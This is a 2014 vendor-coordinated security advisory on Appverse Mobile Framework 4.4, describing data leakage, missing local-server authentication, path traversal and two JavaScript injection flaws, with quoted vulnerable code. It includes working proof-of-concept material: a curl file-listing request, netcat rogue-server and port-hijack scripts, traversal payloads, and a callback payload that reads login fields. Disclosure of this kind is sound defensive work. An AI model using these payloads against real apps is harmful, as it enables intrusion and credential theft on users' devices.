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Summary 
Appverse Mobile is an open-source mobile development platform developed by GFT 
Appverse. It allows developers to use HTML5, JavaScript, CSS3 and to leverage 
native functionalities of a mobile device to build apps. The platform currently 
supports Android, iOS and Windows and provides a broad set of APIs to access the 
native functionalities of a mobile device via a consistent and uniform JavaScript 
interface for the supported operating systems. 
 
The Appverse architecture can be briefly summarized as follows. The mobile user 
interacts exclusively with a web view developed in HTML and Javascript. At the back, 
a local server bound to loopback interface is responsible for receiving requests from 
the view, invoke required methods, returning the response or communicating with 
an eventual back-end remote server. The resources composing the web view are 
contained within an encrypted archive, app-encrypted.zip, and are extracted and 
served on the fly by the local server.  
 
Multiple vulnerabilities, which are described below, have been identified in 
Appverse Mobile Framework 4.4 version (and probably lower). After sharing them 
with Appverse development team, they have been fixed and a new version of the 
framework has been released (4.7). The Missing Authentication vulnerability could 
still be abused, but only under certain specific conditions and on highly 
compromised devices.  However, a further stronger, improved and completely 
revisited Appverse version is already under development, as reported by Appverse 
team. 
 

Date Details 

17/09/2014 Vendor disclosure 

17/09/2014 Vendor acknowledgment 

07/10/2014 Patch release 

10/10/2014 Public disclosure 
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Unintended Data Leakage 

Unintended Data Leakage 
Advisory Number 

SN-14-05 

Severity Software Version Accessibility CVE Author(s) 

M
Appverse Mobile 

Framework 
4.4 Local n/a 

Eros Lever 
Filippo Roncari 

Vendor URL Advisory URL 

http://appverse.org/ - 

Vulnerability Details 

Appverse Mobile Framework is prone to Unintended Data Leakage, on Android 
devices only, due to an unsafe usage of logging functionalities, which stores in the 
systems logs all the asynchronous requests generated from the web view. Thus, if 
any sensitive information (e.g., user, password, personal information) is included by 
the application within those requests, it will be accessible for a certain period 
examining the system logs. 
 
In order to take advantage of the described issue a potential attacker has to get 
physical device access or force victim user to install malicious software on it.  
 
The issue has been identified on Appverse Mobile Framework 4.4 but we cannot 
exclude other versions are vulnerable. Version 4.7 fixes this issue. 

Technical Details 

Description 

The Appverse framework offers a set of logging facilities that are expected to be 
enabled or disabled via build flags. While this is true for the iOS implementation, it 
does not reflect the Android situation. An example of sensitive information 
extracted is reported above. 
 
 

shell@android:/ $ logcat  
 
[...] 
 
I/PLATFORM( 9930): ServiceHandler: query: 

callback=test&callbackid=test&json={"param1":{"Session 
":{"Cookies":[{"Name":"JSESSIONID","Value":"0987p123jbmn123h3123-
923"}]},"Headers":[{"Name":"Accept-Encoding","Value":"gzip, 
deflate"}],"Content":[{"username":"test","password":"test","id":”9183649203
8200"}]}} 

 

[...] 
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Vulnerable Code 

Repository: appverse-platform-android 
Class: /com/gft/unity/android/server/handler/ ServiceHandler.java 
Function: processAsyncPOSTResult() 
 
144 private void processAsyncPOSTResult(AndroidInvocationManager aim, 

AndroidActivityManager aam, 
145 Object service, String methodName, String query) { 
146  
147 
148 

Log("Processing result asynchronously"); 
Log("query: " + query); 

186 Log("callback function: " + callback); 
187 Log("callback ID: " + ID); 
188 Log("JSON data: " + JSON); 
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Missing Authentication 

Missing Authentication 
Advisory Number 

SN-14-05 

Severity Software Versio
n 

Accessibility CVE Author(s) 

M
Appverse Mobile 

Framework 
4.4 Local n/a 

Eros Lever 
Filippo Roncari Vendor URL Advisory URL 

http://www.appverse.org/ - 

Vulnerability Details 
Appverse Mobile Framework presents lack of authentication for both client 
originated requests and identification of the server. 
 
The local web server spawned by Appverse does not perform any validation about 
the origin of received HTTP requests and has no way to verify their legitimacy. 
Therefore, a potential attacker could invoke methods, abuse native device 
functionalities or request arbitrary resources contained in the app-encrypted.zip 
archive, generating requests locally to the device or using a malicious bridge 
application.  
 
On the other side of the communication channel, Appverse does not even perform 
authentication about the authenticity of the local server. When the framework 
spawns the server, it does not check whether the port has been correctly bound or if 
an exception occurred. In such a situation, the Web view will try to interact with 
that port regardless of the fact that it has been bound by Appverse or by any other 
process on the device. An attacker could in fact spawn a malicious server listening 
on the chosen port number, causing a BindException (port already in use). The 
exception would be trapped, allowing the attacker to intercept data from the web 
view without the framework being aware of it. 

 
In order to take advantage of the described issue a potential attacker has to get 
physical device access or force the victim user to install malicious software on it.  
 
The issue has been identified on Appverse Mobile Framework 4.4 but we cannot 
exclude other versions are vulnerable. Version 4.7 fixes this issue, unless device is 
highly compromised. 
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Technical Details 

Description 

The following example shows how simple is to generate fake requests towards the 
local server. As you can notice, the server answers correctly although the request 
has not been sent from the web view. A potential attacker could persuade the 
victim to install a malicious application designed to forge fake requests and extract 
sensitive information about the target application using the Appverse Framework. 

 

Fake request generation through curl: 

Pentest-iPad:~ root# curl --data 'json={"param1":{"FullName":"..","Length":0}}' 
127.0.0.1:8080/service/file/ListFiles 

 
[{"FullName":"/private/var/mobile/Applications/468842E0-CB6F-4FAE-90DE- 

8D2C9741B3FF/iTunesArtwork","Length":18730},{"FullName":"/private/var/mobil
e/Applications/468842E0-CB6F- 4FAE-90DE-
8D2C9741B3FF/iTunesMetadata.plist","Length":541}] 

 

On the other hand, the example reported above illustrates the set up of a simple 
rogue server using netcat. A potential attacker could impersonate the local server 
thus receiving any sensitive information sent by the user and generating ad-hoc 
responses. 

 

Rogue server set-up through netcat:  
shell@android:/ $ nc -l -p 8080 
 
POST /service/net/IsNetworkReachable HTTP/1.1 
Host: 127.0.0.1:8080 
Connection: keep-alive 
Referer: http://127.0.0.1:8080/WebResources/www/index.html  
Content-Length: 28 
Pragma: no-cache 
Cache-Control: no-cache 
Origin: http://127.0.0.1:8080 
Content-type: application/json 
Accept-Encoding: gzip,deflate 
Accept-Language: it-IT, en-US 
Accept-Charset: utf-8, iso-8859-1, utf-16, *;q=0.7 
json={"param1":"google.com"} 
 
HTTP/1.1 200 OK 
Content-Length: 4 
Connection: keep-alive 
True 
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POST /service-async/io/InvokeService HTTP/1.1  
Host: 127.0.0.1:8080 
Connection: keep-alive 
Referer: http://127.0.0.1:8080/WebResources/www/index.html  
Content-Length: 682 
Pragma: no-cache 
Cache-Control: no-cache 
Origin: http://127.0.0.1:8080 
Content-type: application/json 
Accept-Encoding: gzip,deflate 
Accept-Language: it-IT, en-US 
Accept-Charset: utf-8, iso-8859-1, utf-16, *;q=0.7 
callback=test&callbackid=test&json={"param1":{"Session 

":{"Cookies":[{"Name":"JSESSIONID","Value":"0987p123jbmn123h3123-
923"}]},"Headers":[{"Name":"Accept-Encoding","Value":"gzip, 
deflate"}],"Content":[{"username":"test","password":"test","id":”9183649203
8200"}]}} 

 

Vulnerable Code 

Description: It is possible to notice the absence of controls about port status after 
binding the socket. In particular, how a BindException thrown in createSocket would 
be silenced and ignored by the try/catch block in the start method 
Repository: appverse-core 
Class: /java/com/gft/unity/core/system/server/net/ServerSocketEndPoint.java 
Function: start() 
 
 
82 
83 
84 
85 
86 

 
95 
96 
97 
98 
99 

 
102 
103 
104 
105 
106 
107 
108 
109 
110 
111 
 

public void start() { 
 
        try { 
            this.socket = createSocket(PORT_OPTION.getInteger(server, 
                    endpointName).intValue()); 

 
} catch (IOException e) { 
            LOGGER.logError("start", "IOException ignored", e); 
        } catch (NumberFormatException e) { 
            LOGGER.logError("start", "NumberFormatException ignored", e); 
        } 

 
protected ServerSocket createSocket(int port) throws IOException { 
        InetAddress localhostAddress = InetAddress.getLocalHost(); 
        SocketAddress socketAddress = new 
InetSocketAddress(localhostAddress, port); 
         
        //ServerSocket socket = factory.createServerSocket(port, 100, 
localhostAddress);  
        ServerSocket socket = factory.createServerSocket(); 
        socket.setReuseAddress(true); 
        socket.bind(socketAddress,100); 
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Path Traversal 

Path Traversal 
Advisory Number 

SN-14-05 

Severity Software Version Accessibility CVE Author(s) 

M
Appverse Mobile 

Framework 
4.4 Local n/a 

Eros Lever 
Filippo Roncari 

Vendor URL Advisory URL 

http://www.appverse.org/ - 

Vulnerability Details 

Appverse Mobile Framework offers a set of services to access the file system on 
both iOS and Android devices. Unluckily, there is no trace of controls about the 
goodness of a given file or directory path. Therefore it seems that all the available 
file system related methods are vulnerable to Path Traversal. During an assessment 
it has been possible to write and read data to and from arbitrary locations, within 
the limits of device OS security protections. 
 
In order to take advantage of the described issue a potential attacker needs to 
generate requests locally to the victim device (e.g., physical access, malware 
infection, etc.).  
 
The issue has been identified on Appverse Mobile Framework 4.4 but we cannot 
exclude other versions are vulnerable. Version 4.7 fixes this issue. 

Technical Details 

Description 

The fileName parameter is combined with baseDirectory without any validation. A 
simple example of the vulnerability is reported above. As you can notice the default 
location for file creation is /data/data/application/files/. Because of the absence of 
path validation, it is possible to specify an arbitrary location for the new file in 
param1 traversing the directories.   
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Http Request: 

 

POST /service/file/CreateFile HTTP/1.1 
json={"param1":"../../../../data/local/tmp/pwn"} 

 

Http Response:  

{"FullName":"/data/data/application/files/../../../../data/local/tmp/pwn","Lengt
h":0} 

 

Http Request:  

POST /service/file/WriteFile HTTP/1.1 
json={"param1":{"FullName":"/data/data/application/files/../../../../data/local/

tmp/pwn","Length":0}, "param2":[0x41,0x41,0x41,0x41,0x41,0x41,0x41], 
"param3":false} 

 

 
 

Vulnerable Code 

Description: Missing path validation in CreateFile() function 
Repository: appverse-core 
Class: /csharp/Unity/Core/Storage/FileSystem/AbstractFileSystem.cs 
Function: createFile() 
 
41 
42 
43 
44 
45 
46 
47 
48 
49 
50 
51 
52 
53 
54 
55 
56 
57 
58 
59 
60 
61 
62 
63 
64 
65 
66 

public FileData CreateFile (string fileName, DirectoryData baseDirectory){ 
   FileData file = null; 
   string path = Path.Combine (baseDirectory.FullName, fileName); 
   string rootPath = GetDirectoryRoot ().FullName; 
 
   if (baseDirectory != null) { 
    if (!path.StartsWith (rootPath)) { 
     path = Path.Combine (rootPath, path);   
    } 
   } else { 
    path = rootPath; // creates file under root path. 
   } 
    
   if (!File.Exists (path)) { 
    try { 
     FileStream fs = File.Create (path); 
     file = new FileData (path, fs.Length); 
     fs.Close (); 
    } catch (Exception e) { 
     SystemLogger.Log (SystemLogger.Module .CORE, "Error creating 

file [" + path + "]", e); 
    } 
   } 
             
   return file;   
} 
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Javascript Injection via Request 

Javascript Injection via Request 
Advisory Number 

SN-14-05 

Severity Software Version Accessibility CVE Author(s) 

M
Appverse Mobile 

Framework 
4.4 Local n/a 

Eros Lever 
Filippo Roncari Vendor URL Advisory URL 

http://www.appverse.org/ - 

Vulnerability Details 

Due to the missing validation of the callback parameter when invoking an 
asynchronous service, it is possible to inject any Javascript payload, without a proper 
restriction to only allow function identifiers. This can be abused in the case the 
callback string is not validated by the application using Appverse, potentially leading 
to Cross-Site Scripting in both iOS and Android implementation. 
 
The issue has been identified on Appverse Mobile Framework 4.4 but we cannot 
exclude other versions are vulnerable. Version 4.7 fixes this issue. 

Technical Details 

Description 

In the Appverse framework, the locally bound HTTP server exposes two types of 
services: synchronous or asynchronous. While the synchronous ones are expected 
to directly return a response, the asynchronous receive an optional callback 
parameter that is an identifier of the function to be invoked when the service 
completes its task and a response is ready to be processed. Asynchronous services 
are mapped to /service-async/ServiceName/MethodName and they receive a POST 
request containing three parameters: callback, callbackid and json. 
 
The callback parameter is expected to represent the name of the function to be 
invoked upon completion of the request, while callbackid is a custom identifier used 
to distinguish between multiple responses. The json parameter instead is the JSON 
representation of the parameters required by the method invoked of the specified 
service. 
 
Due to a missing validation of the callback parameter, it is possible to inject any 
chosen JavaScript payload, without a proper restriction to only allow function 
identifiers. This can be abused in the case the callback string is not validated by the 
application using Appverse, potentially leading to Cross-Site Scripting. 
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PoC HTTP request (Android): 
POST /service-async/pim/ListContacts HTTP/1.1 
Host: 127.0.0.1:8080 
[...] 
 
callback=alert("user: "+document.getElementById("user").value+"\npass: 
"+document.getElementById("psw").value) 

 
PoC result (Android): 

 
 
 
PoC HTTP request (iOS): 
POST /service-async/net/IsNetworkReachable HTTP/1.1 
Host: 127.0.0.1:8080 
[…] 
 
callback=alert(123)&callbackid=callbackid&json={"param1":"www.google.it"} 

 
PoC result (iOS): 
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Vulnerable Code 

Description: Missing validation of the callback string in Android 
Repository: appverse-platform-android 
File: com/gft/unity/android/server/handler/ServiceHandler.java 
Function: processAsyncPOSTResult 
Line: 156 
 
156 
157 
158 
 
162 
163 
164 
165 
166 
167 

if (query!= null) { 
 String token0 = "&"; 
 String token1 = "callback="; 
[...] 
 if(query.indexOf(token1)==0) { 
  query = query.substring(token1.length()); 
  nextParamToken = query.indexOf(token0); 
  if(nextParamToken==-1) nextParamToken = query.length(); 
  if(query.length()>=nextParamToken) 
   callback = query.substring(0, nextParamToken); 

 
Description: Execution of the callback on Android 
Repository: appverse-platform-android 
File: com/gft/unity/android/activity/AndroidActivityManager.java 
Function: AAMExecuteJSCallback -> run 
Line: 289 
 
289 
 
 
 
290 

String jsCallbackFunction = 
"javascript:try{if("+callbackFunction+"){"+callbackFunction+"("+jsonResultSt
ring+", '"+ id +"');}}catch(e) {console.log('error executing javascript 
callback: ' + e)}"; 
this.view.loadUrl(jsCallbackFunction); 
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Description: Missing validation of the callback string in iOS 
Repository: appverse-core 
File: csharp/Unity/Core/System/Service/ServiceURIHandler.cs 
Function: ProcessAsyncPOSTResult 
Line: 64 
 
64 
 
68 
69 
70 
71 
72 
73 

string token1 = "callback="; 
[...] 
if(query.IndexOf(token1)==0) { 
    query = query.Substring(token1.Length); 
    nextParamToken = query.IndexOf(token0); 
    if(nextParamToken==-1) nextParamToken = query.Length; 
    if(query.Length>=nextParamToken) 
        callback = query.Substring(0, nextParamToken); 

 
Description: Execution of the callback on iOS 
Repository: appverse-platform-ios 
File: csharp/IPhoneUtils.cs 
Function: ExecuteJavascriptCallback 
Line: 557 
 
557 
 
558 
 
 
 
559 
 
560 

public void ExecuteJavascriptCallback(string callbackFunction, string id, 
string jsonResultString) { 

    string jsCallbackFunction = 
"try{if("+callbackFunction+"){"+callbackFunction+"("+jsonResultString+
", '"+ id +"');}}catch(e) {console.log('error executing javascript 
callback: ' + e)}"; 

    SystemLogger.Log(SystemLogger.Module.PLATFORM, 
"ExecuteJavascriptCallback: " + callbackFunction); 

    
IPhoneServiceLocator.CurrentDelegate.MainUIWebView().EvaluateJavascript(jsC
allbackFunction); 
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Javascript Injection via Response 

Javascript Injection via Response 
Advisory Number 

SN-14-05 

Severity Software Version Accessibility CVE Author(s) 

M
Appverse Mobile 

Framework 
4.4 Local n/a 

Eros Lever 
Filippo Roncari Vendor URL Advisory URL 

http://www.appverse.org/ - 

Vulnerability Details 

Due to the missing validation of the response received from the local server, the 
WebView may execute unsafe Javascript received as part of the response itself. This 
happens when invoking synchronous services, or in the case of an emulator, even 
asynchronous services.  
 
This vulnerability could easily result in Cross-Site Scripting in both iOS and Android 
implementation, or possibly worse situations since Javascript can interact with the 
application native runtime. 
 
The issue has been identified on Appverse Mobile Framework 4.4 but we cannot 
exclude other versions are vulnerable. Version 4.7 fixes this issue. 

Technical Details 

Description 

In the Appverse framework, when invoking a service (be it synchronous or not) the 
WebView establishes an HTTP connection with the locally bound server. This task is 
performed via one of the post_to_url functions, depending on the type of service 
and the environment: post_to_url for synchronous services, post_to_url_async and 
post_to_url_async_emu for asynchronous services, on real devices or emulators 
respectively.When a response is received, in the case of post_to_url and 
post_to_url_async_emu, its content may be evaluated as Javascript code, depending 
on the HTTP status code and whether the response data is empty or not. In case the 
HTTP status matches 200 OK, and the response data is not empty, its raw value is 
executes as Javascript code invoking the eval function. 
A minor adjustment may be required in case the returnAsString flag is set to true, in 
this case in fact a double quote symbol is both prepended and appended to the 
response data before its evaluation as Javascript code. In this scenario it is trivial to 
break the syntax by using additional double quotes to prematurely terminate the 
string value and execute arbitrary Javascript code. Apparently the eval function is 
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invoked with the goal of de-serializing the JSON object present in the response data. 
While this actually works, it is not recommended as in fact vulnerable as hereby 
demonstrated. 
 
The following PoC leverages the unsafe port binding described in the Missing 
Authentication section. 
 
PoC script (Android): 
echo -e "HTTP/1.1 200 OK\r\nContent-Length: 8\r\n\r\nalert(1)" > exploit 
adb push exploit /sdcard/ 
adb shell "nc -l -p 8080 < /sdcard/exploit" 

 
PoC script (iOS): 
echo -e "HTTP/1.1 200 OK\r\nContent-Length: 8\r\n\r\nalert(1)" > exploit 
scp exploit root@iPhone:/var/mobile/ 
ssh root@iPhone "nc -l -p 8080 < /var/mobile/exploit" 

 

Vulnerable Code 

Description: Unsafe usage of the eval function 
Repository: appverse-core-webresources 
File: WebResources/www/appverse/js/appverse.js 
Function: post_to_url 
Line: 5506 
 
5506 
5507 
 
5507 
5508 
5509 
5510 
5511 
5512 
5513 
5514 
5515 
 
 
5516 
5517 
5518 
 
5519 
5520 
5521 

var responseText = null; 
if(xhr.status  == 200)  { //This status means ok, otherwise some error code 

is returned, 404 for example. 
  responseText = xhr.responseText;  
} 
else { 
  //alert("Error code " + xhr.status); 
  // TODO: handle error 
} 
    
if(responseText!=null && responseText != '') { // [fix-01062011:MAPS:added 

checking for empty string, in Android platform void methods return 
empty strings, and the eval raise an exception] 

  if(returnAsString)  
  { 
    responseText = '"' + responseText + '"';    // eval response text as 

string, do conversions on required methods 
  } 
  try { 
    return  eval('(' + responseText + ')'); 
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Description: Unsafe usage of the eval function 
Repository: appverse-core-webresources 
File: WebResources/www/appverse/js/appverse.js 
Function: post_to_url_async_emu 
Line: 5630 
 
5630 
5631 
 
5632 
5633 
5634 
5635 
5636 
5637 
5638 
5639 
5640 
 
 
5641 
5642 
5643 
 
5644 
5645 
5646 

var responseText = null; 
if(xhr.status  == 200)  { //This status means ok, otherwise some error code 

is returned, 404 for example. 
  responseText = xhr.responseText;  
} 
else { 
  //alert("Error code " + xhr.status); 
  // TODO: handle error 
} 
    
if(responseText!=null && responseText != '') { // [fix-01062011:MAPS:added 

checking for empty string, in Android platform void methods return 
empty strings, and the eval raise an exception] 

  if(returnAsString)  
  { 
    responseText = '"' + responseText + '"';    // eval response text as 

string, do conversions on required methods 
  } 
  try { 
    return  eval('(' + responseText + ')'); 
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Legal Notices 
Secure Network (www.securenetwork.it) is an information security company, 
which provides consulting and training services, and engages in security 
research and development. 
 
We are committed to open, full disclosure of vulnerabilities, cooperating with 
software developers for properly handling disclosure issues. 
 
This advisory is copyright 2014 Secure Network S.r.l. Permission is hereby 
granted for the redistribution of this alert, provided that it is not altered except 
by reformatting it, and that due credit is given. It may not be edited in any 
way without the express consent of Secure Network S.r.l. Permission is 
explicitly given for insertion in vulnerability databases and similar, provided 
that due credit is given to Secure Network. 
 
The information in the advisory is believed to be accurate at the time of 
publishing based on currently available information. This information is 
provided as-is, as a free service to the community by Secure Network research 
staff. There are no warranties with regard to this information. Secure Network 
does not accept any liability for any direct, indirect, or consequential loss or 
damage arising from use of, or reliance on, this information. 
 
If you have any comments or inquiries, or any issue with what is reported in 
this advisory, please inform us as soon as possible. 


